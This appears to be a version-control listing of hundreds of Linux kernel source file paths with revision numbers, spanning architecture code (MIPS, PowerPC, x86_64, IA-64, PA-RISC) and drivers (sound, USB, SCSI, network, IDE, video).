1.3 linux/include/asm-ia64/sn/sn2/mmzone_sn2.h - 1.2 linux/include/asm-ia64/sn/sn2/intr.h - 1.3 linux/include/asm-ia64/sn/sn2/arch.h - 1.3 linux/include/asm-ia64/sn/sn2/addrs.h - 1.3 linux/include/asm-ia64/sn/sn1/synergy.h - 1.3 linux/include/asm-ia64/sn/sn1/sn_private.h - 1.3 linux/include/asm-ia64/sn/sn1/mmzone_sn1.h - 1.2 linux/include/asm-ia64/sn/sn1/mem_refcnt.h - 1.3 linux/include/asm-ia64/sn/sn1/intr_public.h - 1.3 linux/include/asm-ia64/sn/sn1/intr.h - 1.2 linux/include/asm-ia64/sn/sn1/hwcntrs.h - 1.3 linux/include/asm-ia64/sn/sn1/hubstat.h - 1.3 linux/include/asm-ia64/sn/sn1/hubspc.h - 1.3 linux/include/asm-ia64/sn/simulator.h - 1.3 linux/include/asm-ia64/sn/pda.h - 1.3 linux/include/asm-ia64/sn/nag.h - 1.3 linux/include/asm-ia64/sn/mmtimer_private.h - 1.2 linux/include/asm-ia64/sn/mca.h - 1.2 linux/include/asm-ia64/sn/leds.h - 1.3 linux/include/asm-ia64/sn/klclock.h - 1.3 linux/include/asm-ia64/sn/ifconfig_net.h - 1.3 linux/include/asm-ia64/sn/idle.h - 1.2 linux/include/asm-ia64/sn/hires_clock.h - 1.3 linux/include/asm-ia64/sn/fetchop.h - 1.3 linux/include/asm-ia64/sn/bte_copy.h - 1.3 linux/include/asm-ia64/sn/bte.h - 1.3 linux/include/asm-ia64/sn/ate_utils.h - 1.2 linux/include/asm-ia64/machvec_sn2.h - 1.4 linux/arch/ppc/boot/simple/iic.c - 1.3 linux/arch/ppc/boot/simple/embed_config.c - 1.3 linux/arch/ppc/boot/simple/Makefile - 1.4 linux/drivers/sound/au1000.c - 1.6 linux/drivers/sound/hal2.c - 1.3 linux/drivers/sound/hal2.h - 1.2 linux/arch/ppc/boot/common/relocate.S - 1.5 linux/drivers/sound/swarm_cs4297a.c - 1.5 linux/include/asm-cris/rs485.h - 1.2 linux/drivers/usb/rtl8150.c - 1.5 linux/include/asm-arm/hardware/sa1111.h - 1.2 linux/include/asm-arm/arch-sa1100/frodo.h - 1.2 linux/arch/mips/mm/c-andes.c - 1.3 linux/arch/mips/mm/c-mips32.c - 1.4 linux/arch/mips/mm/c-r3k.c - 1.3 linux/arch/mips/mm/c-r4k.c - 1.4 linux/arch/mips/mm/c-r5432.c - 1.3 linux/arch/mips/mm/c-rm7k.c - 1.4 linux/arch/mips/mm/c-sb1.c - 1.4 linux/arch/mips/mm/c-tx39.c - 1.3 linux/arch/mips/mm/c-tx49.c - 1.4 linux/arch/mips/mm/pg-andes.S - 1.3 linux/arch/mips/mm/pg-mips32.c - 1.2 linux/arch/mips/mm/pg-r4k.S - 1.4 linux/arch/mips/mm/pg-r5432.c - 1.2 linux/arch/mips/mm/pg-rm7k.c - 1.2 linux/arch/mips/mm/pg-sb1.c - 1.3 linux/arch/mips/mm/tlb-r3k.c - 1.4 linux/arch/mips/mm/tlb-r4k.c - 1.3 linux/arch/mips/mm/tlb-sb1.c - 1.4 linux/arch/mips/mm/tlbex-r4k.S - 1.4 linux/include/asm-arm/arch-mx1ads/memory.h - 1.2 linux/include/asm-arm/arch-epxa10db/tdkphy.h - 1.2 linux/include/asm-arm/arch-epxa10db/ether00.h - 1.2 linux/arch/mips64/mm/tlbex-r4k.S - 1.4 linux/arch/mips/ramdisk/Makefile - 1.2 linux/arch/mips/sgi-ip22/Makefile - 1.4 linux/arch/mips/sgi-ip22/ip22-hpc.c - 1.2 linux/arch/mips/sgi-ip22/ip22-int.c - 1.4 linux/arch/mips/sgi-ip22/ip22-mc.c - 1.4 linux/arch/mips/sgi-ip22/ip22-reset.c - 1.3 linux/arch/mips/sgi-ip22/ip22-rtc.c - 1.2 linux/arch/mips/sgi-ip22/ip22-sc.c - 1.3 linux/arch/mips/sgi-ip22/ip22-setup.c - 1.4 linux/arch/mips/sgi-ip22/ip22-system.c - 1.4 linux/arch/mips/sgi-ip22/ip22-time.c - 1.4 linux/include/asm-arm/arch-clps711x/memory.h - 1.2 linux/arch/mips/sibyte/sb1/Makefile - 1.3 linux/arch/mips/sibyte/sb1/cache_err_handler.S - 1.3 linux/arch/mips/sibyte/sb1/cache_error.c - 1.3 linux/arch/mips/sibyte/sb1250/Makefile - 1.4 linux/arch/mips/sibyte/sb1250/bcm1250_tbprof.c - 1.3 linux/arch/mips/sibyte/sb1250/bcm1250_tbprof.h - 1.3 linux/arch/mips/sibyte/sb1250/irq.c - 1.3 linux/arch/mips/sibyte/sb1250/irq_handler.S - 1.3 linux/arch/mips/sibyte/sb1250/lib_hssubr.S - 1.3 linux/arch/mips/sibyte/sb1250/lib_hssubr.h - 1.3 linux/arch/mips/sibyte/sb1250/pci.c - 1.4 linux/arch/mips/sibyte/sb1250/setup.c - 1.3 linux/arch/mips/sibyte/sb1250/smp.c - 1.3 linux/arch/mips/sibyte/sb1250/time.c - 1.4 linux/arch/mips/sibyte/swarm/Makefile - 1.4 linux/arch/mips/sibyte/swarm/setup.c - 1.4 linux/include/asm-arm/arch-clps711x/hardware.h - 1.2 linux/arch/mips64/mm/tlb-sb1.c - 1.4 linux/arch/mips64/mm/tlb-glue-r4k.S - 1.3 linux/arch/mips64/mm/tlb-dbg-r4k.c - 1.2 linux/arch/mips/vr4181/common/irq.c - 1.3 linux/arch/mips/vr4181/common/serial.c - 1.2 linux/arch/mips/vr4181/common/time.c - 1.2 linux/arch/mips/vr4181/osprey/Makefile - 1.3 linux/arch/mips/vr4181/osprey/prom.c - 1.3 linux/arch/mips/vr4181/osprey/reset.c - 1.2 linux/arch/mips/vr4181/osprey/setup.c - 1.2 linux/arch/mips64/mm/pg-sb1.c - 1.3 linux/arch/mips64/mm/c-sb1.c - 1.4 linux/arch/mips64/kernel/time.c - 1.4 linux/arch/mips64/kernel/pci-dma.c - 1.4 linux/arch/mips64/kernel/irq_cpu.c - 1.3 linux/arch/mips64/kernel/irq.c - 1.4 linux/arch/mips64/defconfig-atlas - 1.4 linux/arch/mips64/kernel/i8259.c - 1.3 linux/arch/mips64/defconfig-malta - 1.4 linux/arch/mips64/defconfig-sb1250-swarm - 1.4 linux/include/asm-mips/mips-boards/msc01_pci.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/dma.h - 1.3 linux/arch/mips/sgi-ip22/ip22-gio.c - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/eeprom_param.h - 1.3 linux/arch/mips/sgi-ip22/ip22-berr.c - 1.3 linux/include/asm-mips/dec/kn02ba.h - 1.3 linux/include/asm-mips/sgi/sgigio.h - 1.3 linux/arch/mips/sibyte/swarm/rtc_xicor1241.c - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/pci.h - 1.3 linux/include/asm-mips64/traps.h - 1.2 linux/include/asm-mips/traps.h - 1.2 linux/include/asm-mips/dec/kn02ca.h - 1.3 linux/include/asm-mips/dec/kn230.h - 1.3 linux/include/asm-mips/war.h - 1.3 linux/include/asm-mips/pgtable-bits.h - 1.3 linux/include/asm-mips/mips-boards/bonito64.h - 1.3 linux/arch/mips/sibyte/swarm/dbg_io.c - 1.2 linux/include/asm-mips/dec/kn05.h - 1.3 linux/include/asm-mips64/mips-boards/bonito64.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/cntmr.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/core.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/flashdrv.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/i2o.h - 1.3 linux/include/asm-mips/galileo-boards/evb64120A/memory.h - 1.2 linux/include/asm-mips64/mips-boards/msc01_pci.h - 1.3 linux/arch/mips/dec/ioasic-irq.c - 1.3 linux/arch/mips/dec/kn02-irq.c - 1.3 linux/arch/mips/vr41xx/common/pciu.c - 1.2 linux/arch/mips/vr41xx/common/time.c - 1.2 linux/arch/x86_64/Makefile - 1.3 linux/Documentation/filesystems/befs.txt - 1.2 linux/arch/x86_64/boot/setup.S - 1.3 linux/net/sched/sch_htb.c - 1.3 linux/Documentation/filesystems/jfs.txt - 1.3 linux/arch/x86_64/config.in - 1.3 linux/arch/x86_64/defconfig - 1.3 linux/arch/x86_64/ia32/ia32_binfmt.c - 1.3 linux/arch/x86_64/ia32/ia32_ioctl.c - 1.5 linux/arch/x86_64/ia32/sys_ia32.c - 1.3 linux/arch/x86_64/kernel/Makefile - 1.2 linux/arch/x86_64/kernel/acpitable.c - 1.3 linux/arch/x86_64/kernel/aperture.c - 1.3 linux/arch/x86_64/kernel/apic.c - 1.3 linux/arch/x86_64/kernel/bluesmoke.c - 1.3 linux/arch/x86_64/kernel/e820.c - 1.3 linux/arch/x86_64/kernel/head.S - 1.3 linux/arch/x86_64/kernel/io_apic.c - 1.3 linux/arch/x86_64/kernel/mpparse.c - 1.2 linux/net/ipv4/netfilter/ipt_helper.c - 1.2 linux/arch/x86_64/kernel/pci-dma.c - 1.3 linux/arch/cris/drivers/pcf8563.c - 1.3 linux/arch/x86_64/kernel/pci-gart.c - 1.3 linux/arch/x86_64/kernel/pci-irq.c - 1.3 linux/arch/cris/drivers/virtex.c - 1.2 linux/arch/cris/drivers/virtex.h - 1.2 linux/arch/x86_64/kernel/pci-pc.c - 1.2 linux/arch/cris/kernel/fasttimer.c - 1.3 linux/arch/x86_64/kernel/process.c - 1.3 linux/arch/x86_64/kernel/setup.c - 1.3 linux/net/bluetooth/bnep/crc32.h - 1.2 linux/net/bluetooth/bnep/crc32.c - 1.2 linux/net/bluetooth/bnep/core.c - 1.3 linux/net/bluetooth/bnep/bnep.h - 1.3 linux/net/bluetooth/bnep/Makefile - 1.3 linux/arch/x86_64/kernel/setup64.c - 1.3 linux/arch/x86_64/kernel/smp.c - 1.3 linux/arch/x86_64/kernel/time.c - 1.3 linux/arch/x86_64/kernel/traps.c - 1.3 linux/arch/ia64/hp/common/sba_iommu.c - 1.3 linux/arch/ia64/hp/sim/hpsim_console.c - 1.2 linux/arch/ia64/hp/sim/hpsim_irq.c - 1.2 linux/arch/ia64/hp/sim/hpsim_machvec.c - 1.2 linux/arch/ia64/hp/zx1/hpzx1_machvec.c - 1.2 linux/lib/Config.in - 1.2 linux/arch/ia64/kernel/perfmon_mckinley.h - 1.3 linux/arch/ia64/kernel/salinfo.c - 1.2 linux/arch/x86_64/mm/fault.c - 1.3 linux/arch/x86_64/mm/init.c - 1.3 linux/arch/x86_64/mm/k8topology.c - 1.3 linux/arch/ia64/lib/memcpy_mck.S - 1.3 linux/drivers/char/amd76x_pm.c - 1.2 linux/arch/ppc64/kernel/perfmon.c - 1.3 linux/drivers/gsc/dino.c - 1.3 linux/include/asm-x86_64/vsyscall.h - 1.3 linux/include/asm-x86_64/user.h - 1.2 linux/include/asm-x86_64/smp.h - 1.4 linux/arch/mips/au1000/pb1100/Makefile - 1.2 linux/arch/mips/au1000/pb1100/pci_fixup.c - 1.2 linux/arch/mips/au1000/pb1100/pci_ops.c - 1.2 linux/arch/mips/au1000/pb1100/setup.c - 1.2 linux/include/asm-x86_64/siginfo.h - 1.2 linux/include/asm-x86_64/segment.h - 1.3 linux/arch/mips/config-shared.in - 1.3 linux/include/asm-x86_64/proto.h - 1.3 linux/include/asm-x86_64/processor.h - 1.3 linux/include/asm-x86_64/pgtable.h - 1.3 linux/include/asm-x86_64/pda.h - 1.3 linux/include/asm-x86_64/pci.h - 1.3 linux/arch/mips/ddb5xxx/ddb5074/irq.c - 1.2 linux/arch/mips/ddb5xxx/ddb5074/nile4_pic.c - 1.2 linux/arch/mips/ddb5xxx/ddb5074/pci.c - 1.2 linux/arch/mips/ddb5xxx/ddb5074/pci_ops.c - 1.2 linux/arch/mips/ddb5xxx/ddb5074/setup.c - 1.2 linux/include/asm-x86_64/pci-direct.h - 1.2 linux/include/asm-x86_64/page.h - 1.3 linux/include/asm-x86_64/mpspec.h - 1.2 linux/include/asm-x86_64/kmap_types.h - 1.3 linux/include/asm-x86_64/irq.h - 1.2 linux/include/asm-x86_64/ioctls.h - 1.2 linux/include/asm-x86_64/io_apic.h - 1.2 linux/arch/mips/defconfig-capcella - 1.2 linux/include/asm-x86_64/i387.h - 1.3 linux/arch/mips/defconfig-eagle - 1.2 linux/arch/mips/defconfig-pb1100 - 1.2 linux/arch/mips/defconfig-sead - 1.2 linux/include/asm-x86_64/desc.h - 1.2 linux/include/asm-x86_64/apicdef.h - 1.2 linux/drivers/hotplug/acpiphp.h - 1.3 linux/drivers/hotplug/acpiphp_core.c - 1.3 linux/drivers/hotplug/acpiphp_glue.c - 1.3 linux/drivers/hotplug/acpiphp_pci.c - 1.3 linux/drivers/hotplug/acpiphp_res.c - 1.3 linux/arch/ppc/platforms/walnut.h - 1.3 linux/arch/ppc/platforms/walnut.c - 1.3 linux/arch/ppc/platforms/tqm8xx.h - 1.3 linux/arch/mips/kernel/cpu-probe.c - 1.2 linux/arch/ppc/platforms/spruce_pci.c - 1.3 linux/arch/ppc/platforms/spruce.h - 1.3 linux/arch/ppc/platforms/spd8xx.h - 1.3 linux/arch/ppc/platforms/residual.c - 1.3 linux/arch/ppc/platforms/proc_rtas.c - 1.3 linux/arch/ppc/platforms/prep_time.c - 1.3 linux/arch/ppc/platforms/prep_setup.c - 1.3 linux/arch/ppc/platforms/prep_pci.c - 1.3 linux/arch/ppc/platforms/pmac_time.c - 1.3 linux/arch/ppc/platforms/pmac_smp.c - 1.3 linux/arch/ppc/platforms/pmac_sleep.S - 1.3 linux/arch/ppc/platforms/pmac_setup.c - 1.3 linux/arch/ppc/platforms/pmac_pic.c - 1.3 linux/arch/ppc/platforms/pmac_pci.c - 1.3 linux/arch/ppc/platforms/pmac_nvram.c - 1.3 linux/arch/ppc/platforms/pmac_feature.c - 1.3 linux/arch/ppc/platforms/pmac_backlight.c - 1.3 linux/arch/ppc/platforms/pal4_setup.c - 1.3 linux/include/asm-ppc/ppc_asm.h - 1.3 linux/include/asm-ppc/ppc4xx_pic.h - 1.3 linux/arch/ppc/platforms/pal4_serial.h - 1.3 linux/arch/ppc/platforms/pal4_pci.c - 1.3 linux/include/asm-ppc/open_pic.h - 1.3 linux/arch/ppc/platforms/pal4.h - 1.3 linux/arch/ppc/platforms/gemini_setup.c - 1.3 linux/arch/ppc/platforms/gemini_prom.S - 1.3 linux/arch/ppc/platforms/gemini_pci.c - 1.3 linux/include/asm-mips64/war.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_prof.h - 1.2 linux/include/asm-mips64/sibyte/io.h - 1.2 linux/include/asm-mips64/sibyte/board.h - 1.2 linux/include/asm-mips64/sgi/sgigio.h - 1.2 linux/include/asm-mips64/mips64_cache.h - 1.2 linux/include/asm-mips/vr41xx/vr41xx.h - 1.2 linux/include/asm-mips/vr41xx/eagle.h - 1.2 linux/include/asm-mips/vr41xx/capcella.h - 1.2 linux/arch/ppc/platforms/gemini.h - 1.3 linux/arch/ppc/platforms/error_log.h - 1.3 linux/arch/ppc/platforms/error_log.c - 1.3 linux/arch/ppc/platforms/cpc700_pic.c - 1.3 linux/arch/ppc/platforms/cpc700.h - 1.3 linux/arch/ppc/platforms/chrp_time.c - 1.3 linux/arch/ppc/platforms/chrp_smp.c - 1.3 linux/arch/ppc/platforms/chrp_setup.c - 1.3 linux/include/asm-mips/sibyte/board.h - 1.2 linux/arch/ppc/platforms/apus_pci.c - 1.3 linux/arch/ppc/platforms/Makefile - 1.3 linux/drivers/ide/ide-sibyte.c - 1.3 linux/arch/mips/mips-boards/sead/sead_int.c - 1.2 linux/arch/mips/mips-boards/sead/sead_setup.c - 1.2 linux/arch/mips/mips-boards/sead/sead_time.c - 1.2 linux/include/asm-mips/pb1100.h - 1.2 linux/arch/ppc/kernel/todc_time.c - 1.3 linux/drivers/net/e100/e100.h - 1.3 linux/drivers/net/e100/e100_main.c - 1.3 linux/drivers/net/e100/e100_phy.c - 1.3 linux/arch/mips/mm/r5k-sc.c - 1.2 linux/drivers/net/e100/e100_test.c - 1.3 linux/arch/mips/momentum/ocelot_g/Makefile - 1.2 linux/arch/mips/momentum/ocelot_g/dbg_io.c - 1.2 linux/arch/mips/momentum/ocelot_g/irq.c - 1.2 linux/arch/mips/momentum/ocelot_g/ocelot_pld.h - 1.2 linux/arch/mips/momentum/ocelot_g/pci.c - 1.2 linux/arch/mips/momentum/ocelot_g/setup.c - 1.2 linux/arch/mips/sgi-ip22/ip22-eisa.c - 1.2 linux/drivers/net/e1000/Makefile - 1.3 linux/drivers/net/e1000/e1000.h - 1.3 linux/drivers/net/e1000/e1000_ethtool.c - 1.3 linux/drivers/net/e1000/e1000_hw.c - 1.3 linux/drivers/net/e1000/e1000_hw.h - 1.3 linux/drivers/net/e1000/e1000_main.c - 1.3 linux/drivers/net/e1000/e1000_osdep.h - 1.3 linux/arch/mips/sgi-ip27/Makefile - 1.2 linux/arch/mips/sgi-ip27/ip27-berr.c - 1.2 linux/arch/mips/sgi-ip27/ip27-console.c - 1.2 linux/arch/mips/sgi-ip27/ip27-init.c - 1.2 linux/arch/mips/sgi-ip27/ip27-irq.c - 1.2 linux/arch/mips/sgi-ip27/ip27-pci.c - 1.2 linux/arch/mips/sgi-ip27/ip27-rtc.c - 1.2 linux/arch/mips/sgi-ip27/ip27-setup.c - 1.2 linux/arch/mips/sgi-ip27/ip27-timer.c - 1.2 linux/arch/mips/sgi-ip32/Makefile - 1.2 linux/arch/mips/sgi-ip32/crime.c - 1.2 linux/arch/mips/sgi-ip32/ip32-berr.c - 1.2 linux/arch/mips/sgi-ip32/ip32-irq-glue.S - 1.2 linux/arch/mips/sgi-ip32/ip32-irq.c - 1.2 linux/arch/mips/sgi-ip32/ip32-pci.c - 1.2 linux/arch/mips/sgi-ip32/ip32-reset.c - 1.2 linux/arch/mips/sgi-ip32/ip32-rtc.c - 1.2 linux/arch/mips/sgi-ip32/ip32-setup.c - 1.2 linux/arch/mips/sgi-ip32/ip32-timer.c - 1.2 linux/arch/mips/sibyte/cfe/Makefile - 1.2 linux/arch/mips/sibyte/cfe/cfe_api.c - 1.2 linux/arch/mips/sibyte/cfe/cfe_api.h - 1.2 linux/arch/mips/sibyte/cfe/cfe_error.h - 1.2 linux/arch/mips/sibyte/cfe/cfe_xiocb.h - 1.2 linux/arch/mips/sibyte/cfe/setup.c - 1.2 linux/arch/mips/sibyte/cfe/smp.c - 1.2 linux/arch/ppc/kernel/pci_auto.c - 1.3 linux/drivers/net/irda/ma600.c - 1.2 linux/arch/ppc/kernel/idle_6xx.S - 1.3 linux/drivers/pcmcia/au1000_pb1x00.c - 1.2 linux/arch/mips/sibyte/sb1250/prom.c - 1.2 linux/drivers/scsi/aacraid/sa.c - 1.2 linux/arch/ppc/boot/simple/misc-spruce.c - 1.3 linux/arch/parisc/math-emu/sfsub.c - 1.2 linux/arch/parisc/math-emu/sfsqrt.c - 1.2 linux/arch/parisc/math-emu/sfrem.c - 1.2 linux/arch/parisc/math-emu/sfmpy.c - 1.2 linux/arch/parisc/math-emu/sfdiv.c - 1.2 linux/arch/parisc/math-emu/sfcmp.c - 1.2 linux/arch/parisc/math-emu/sfadd.c - 1.2 linux/arch/mips/vr41xx/common/Makefile - 1.2 linux/arch/mips/vr41xx/common/bcu.c - 1.2 linux/arch/mips/vr41xx/common/cmu.c - 1.2 linux/arch/mips/vr41xx/common/giu.c - 1.2 linux/arch/mips/vr41xx/common/icu.c - 1.2 linux/arch/mips/vr41xx/common/reset.c - 1.2 linux/arch/mips/vr41xx/common/serial.c - 1.2 linux/arch/mips/vr41xx/nec-eagle/Makefile - 1.2 linux/arch/mips/vr41xx/nec-eagle/init.c - 1.2 linux/arch/mips/vr41xx/nec-eagle/irq.c - 1.2 linux/arch/mips/vr41xx/nec-eagle/pci_fixup.c - 1.2 linux/arch/mips/vr41xx/nec-eagle/setup.c - 1.2 linux/arch/mips/vr41xx/zao-capcella/Makefile - 1.2 linux/arch/mips/vr41xx/zao-capcella/init.c - 1.2 linux/arch/mips/vr41xx/zao-capcella/setup.c - 1.2 linux/arch/parisc/math-emu/fpudispatch.c - 1.2 linux/include/asm-cris/fasttimer.h - 1.2 linux/include/asm-cris/etraxvirtex.h - 1.2 linux/arch/parisc/math-emu/fpu.h - 1.2 linux/arch/parisc/math-emu/fmpyfadd.c - 1.2 linux/arch/parisc/math-emu/float.h - 1.2 linux/arch/parisc/math-emu/fcnvxf.c - 1.2 linux/arch/parisc/math-emu/fcnvuf.c - 1.2 linux/arch/parisc/math-emu/fcnvfxt.c - 1.2 linux/arch/parisc/math-emu/fcnvfx.c - 1.2 linux/arch/parisc/math-emu/fcnvfut.c - 1.2 linux/arch/parisc/math-emu/fcnvfu.c - 1.2 linux/arch/parisc/math-emu/fcnvff.c - 1.2 linux/arch/parisc/math-emu/driver.c - 1.2 linux/arch/parisc/math-emu/dfsub.c - 1.2 linux/arch/parisc/math-emu/dfsqrt.c - 1.2 linux/arch/parisc/math-emu/dfrem.c - 1.2 linux/fs/partitions/efi.h - 1.2 linux/fs/partitions/efi.c - 1.2 linux/arch/parisc/math-emu/dfmpy.c - 1.2 linux/arch/mips64/defconfig-sead - 1.2 linux/arch/parisc/math-emu/dfdiv.c - 1.2 linux/arch/parisc/math-emu/dfcmp.c - 1.2 linux/arch/mips64/kernel/cpu-probe.c - 1.2 linux/arch/parisc/math-emu/dfadd.c - 1.2 linux/arch/parisc/kernel/unaligned.c - 1.3 linux/arch/parisc/kernel/smp.c - 1.2 linux/arch/parisc/kernel/processor.c - 1.3 linux/drivers/sound/ali5455.c - 1.2 linux/arch/parisc/kernel/perf.c - 1.2 linux/drivers/sound/forte.c - 1.3 linux/fs/jfs/super.c - 1.3 linux/fs/jfs/resize.c - 1.3 linux/fs/jfs/jfs_dtree.c - 1.3 linux/drivers/usb/aiptek.c - 1.2 linux/arch/parisc/kernel/ioctl32.c - 1.3 linux/fs/binfmt_som.c - 1.2 linux/arch/mips64/mm/c-mips64.c - 1.2 linux/arch/mips64/mm/pg-mips64.c - 1.2 linux/arch/mips64/mm/r5k-sc.c - 1.2 linux/arch/mips64/mm/tlb-r4k.c - 1.2 linux/drivers/video/sis/sis_accel.h - 1.3 linux/drivers/video/sis/sis_accel.c - 1.4 linux/drivers/video/epson1356fb.h - 1.2 linux/drivers/video/epson1356fb.c - 1.2 linux/drivers/video/au1100fb.h - 1.2 linux/drivers/video/au1100fb.c - 1.2 linux/drivers/net/amd8111e.h - 1.2 linux/net/ipv6/netfilter/ip6t_rt.c - 1.2 linux/net/ipv6/netfilter/ip6t_ipv6header.c - 1.2 linux/net/ipv6/netfilter/ip6t_frag.c - 1.2 linux/net/ipv6/netfilter/ip6t_esp.c - 1.2 linux/net/ipv6/netfilter/ip6t_ah.c - 1.2 linux/net/ipv6/anycast.c - 1.2 linux/net/ipv4/netfilter/ip_nat_amanda.c - 1.2 linux/net/bluetooth/rfcomm/tty.c - 1.3 linux/net/bluetooth/rfcomm/sock.c - 1.2 linux/net/bluetooth/rfcomm/core.c - 1.3 linux/include/net/bluetooth/rfcomm.h - 1.3 linux/include/asm-ppc/rtc.h - 1.2 linux/include/asm-ppc/mpc10x.h - 1.2 linux/include/asm-ia64/sn/sn2/geo.h - 1.2 linux/include/asm-ia64/sn/rw_mmr.h - 1.2 linux/include/asm-ia64/sn/pci/pic.h - 1.2 linux/include/asm-ia64/sn/ioc4.h - 1.2 linux/include/asm-ia64/sn/geo.h - 1.2 linux/drivers/video/intel/intelfbhw.h - 1.2 linux/drivers/video/intel/intelfb.h - 1.2 linux/drivers/video/intel/Makefile - 1.3 linux/drivers/usb/serial/kobil_sct.c - 1.2 linux/drivers/usb/powermate.c - 1.2 linux/drivers/usb/host/usb-uhci.c - 1.3 linux/drivers/usb/host/usb-ohci.c - 1.2 linux/drivers/usb/host/uhci-debug.h - 1.2 linux/drivers/usb/host/ehci.h - 1.2 linux/drivers/usb/host/ehci-q.c - 1.2 linux/drivers/usb/host/ehci-hcd.c - 1.2 linux/drivers/usb/host/ehci-dbg.c - 1.2 linux/drivers/usb/host/Makefile - 1.2 linux/drivers/usb/host/Config.in - 1.2 linux/drivers/sound/ad1889.c - 1.3 linux/drivers/scsi/nsp32_io.h - 1.2 linux/drivers/scsi/nsp32.h - 1.2 linux/drivers/scsi/aic7xxx/scsi_iu.h - 1.3 linux/drivers/scsi/aic7xxx/aiclib.h - 1.3 linux/drivers/scsi/aic7xxx/aiclib.c - 1.3 linux/drivers/scsi/aic7xxx/aic7xxx_reg_print.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_seq.h - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_reg_print.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_reg.h - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_proc.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_pci.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_osm_pci.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_osm.h - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_osm.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_inline.h - 1.3 linux/drivers/scsi/aic7xxx/aic79xx_core.c - 1.3 linux/drivers/scsi/aic7xxx/aic79xx.seq - 1.3 linux/drivers/scsi/aic7xxx/aic79xx.reg - 1.3 linux/drivers/scsi/aic7xxx/aic79xx.h - 1.3 linux/drivers/net/typhoon.c - 1.2 linux/drivers/net/r8169.c - 1.3 linux/drivers/net/mac8390.c - 1.2 linux/drivers/net/amd8111e.c - 1.2 linux/drivers/media/video/tda9887.c - 1.2 linux/drivers/ieee1394/iso.h - 1.2 linux/drivers/ieee1394/iso.c - 1.2 linux/drivers/ieee1394/ieee1394-ioctl.h - 1.3 linux/drivers/ieee1394/dma.h - 1.2 linux/drivers/ieee1394/dma.c - 1.2 linux/drivers/ide/setup-pci.c - 1.2 linux/arch/ia64/configs/dig - 1.2 linux/arch/ia64/configs/generic - 1.2 linux/arch/ia64/configs/ski - 1.2 linux/arch/ia64/configs/zx1 - 1.2 linux/drivers/ide/raid/hptraid.c - 1.3 linux/drivers/ide/pci/via82cxxx.c - 1.3 linux/drivers/ide/pci/sis5513.c - 1.2 linux/drivers/ide/pci/siimage.h - 1.3 linux/drivers/ide/pci/siimage.c - 1.4 linux/drivers/ide/pci/pdc202xx_old.c - 1.2 linux/drivers/ide/pci/pdc202xx_new.h - 1.2 linux/drivers/ide/pci/hpt366.c - 1.3 linux/drivers/ide/pci/generic.h - 1.2 linux/drivers/ide/pci/generic.c - 1.2 linux/drivers/ide/pci/cmd640.c - 1.2 linux/drivers/ide/pci/alim15x3.c - 1.3 linux/drivers/ide/legacy/pdc4030.c - 1.3 linux/arch/ia64/sn/io/ifconfig_bus.c - 1.2 linux/drivers/ide/ide-io.c - 1.2 linux/arch/ia64/sn/io/sn1/Makefile - 1.2 linux/arch/ia64/sn/io/sn1/eeprom.c - 1.2 linux/arch/ia64/sn/io/sn1/efi-rtc.c - 1.2 linux/drivers/ide/ide-default.c - 1.2 linux/arch/ia64/sn/io/sn1/klconflib.c - 1.2 linux/arch/ia64/sn/io/sn1/klgraph.c - 1.2 linux/arch/ia64/sn/io/sn1/l1.c - 1.2 linux/arch/ia64/sn/io/sn1/l1_command.c - 1.2 linux/arch/ia64/sn/io/sn1/ml_SN_init.c - 1.2 linux/arch/ia64/sn/io/sn1/ml_iograph.c - 1.2 linux/arch/ia64/sn/io/sn1/module.c - 1.2 linux/arch/ia64/sn/io/sn1/pci_bus_cvlink.c - 1.2 linux/arch/ia64/sn/io/sn1/pciio.c - 1.2 linux/arch/ia64/sn/io/sn1/sgi_io_init.c - 1.2 linux/arch/ia64/sn/io/sn1/xbow.c - 1.2 linux/arch/ia64/sn/io/sn1/xtalk.c - 1.2 linux/arch/ia64/sn/io/sn2/Makefile - 1.2 linux/arch/ia64/sn/io/sn2/efi-rtc.c - 1.2 linux/arch/ia64/sn/io/sn2/geo_op.c - 1.2 linux/arch/ia64/sn/io/sn2/klconflib.c - 1.2 linux/arch/ia64/sn/io/sn2/klgraph.c - 1.2 linux/arch/ia64/sn/io/sn2/l1.c - 1.2 linux/arch/ia64/sn/io/sn2/l1_command.c - 1.2 linux/arch/ia64/sn/io/sn2/ml_SN_init.c - 1.2 linux/arch/ia64/sn/io/sn2/ml_iograph.c - 1.2 linux/arch/ia64/sn/io/sn2/module.c - 1.2 linux/arch/ia64/sn/io/sn2/pci_bus_cvlink.c - 1.2 linux/arch/ia64/sn/io/sn2/pcibr/Makefile - 1.2 linux/arch/ia64/sn/io/sn2/pciio.c - 1.2 linux/arch/ia64/sn/io/sn2/pic.c - 1.2 linux/arch/ia64/sn/io/sn2/sgi_io_init.c - 1.2 linux/arch/ia64/sn/io/sn2/shub.c - 1.2 linux/arch/ia64/sn/io/sn2/shubio.c - 1.2 linux/arch/ia64/sn/io/sn2/xbow.c - 1.2 linux/arch/ia64/sn/io/sn2/xtalk.c - 1.2 linux/drivers/char/ipmi/ipmi_kcs_intf.c - 1.3 linux/arch/ia64/sn/kernel/bte_regr_test.c - 1.2 linux/arch/ppc64/lib/copyuser.S - 1.2 linux/arch/ppc/platforms/lopec_setup.c - 1.2 linux/arch/ia64/sn/kernel/sn2/ptc_deadlock.S - 1.2 linux/arch/ppc/platforms/lopec_pci.c - 1.2 linux/arch/ia64/sn/kernel/sn2/sn_proc_fs.c - 1.2 linux/arch/ppc/kernel/mpc10x_common.c - 1.2 linux/arch/ppc/kernel/gen550_kgdb.c - 1.2 linux/arch/ppc/kernel/gen550_dbg.c - 1.2 linux/arch/ppc/kernel/cpu_setup_6xx.S - 1.2 linux/arch/ppc/boot/utils/mkbugboot.c - 1.2 